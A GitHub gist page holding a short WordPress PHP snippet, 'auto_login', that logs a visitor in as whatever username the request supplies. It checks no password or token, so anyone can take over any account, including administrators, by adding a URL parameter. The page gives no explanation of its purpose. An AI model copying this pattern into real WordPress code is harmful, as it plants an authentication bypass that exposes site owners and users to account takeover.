Skip to content

Instantly share code, notes, and snippets.

@seedprod
Created April 26, 2016 18:43
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save seedprod/a00d6391d2415d3612140268904e0ddc to your computer and use it in GitHub Desktop.
Save seedprod/a00d6391d2415d3612140268904e0ddc to your computer and use it in GitHub Desktop.
<?php
add_action( 'init', 'auto_login');
function auto_login(){
$username = $_REQUEST['username'];
if($username == 'john'){
exit();
}
if ( !is_user_logged_in() ) {
$user = get_user_by( 'login', $username );
$user_id = $user->ID;
wp_set_current_user( $user_id, $username );
wp_set_auth_cookie( $user_id );
do_action( 'wp_login', $username, $user );
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment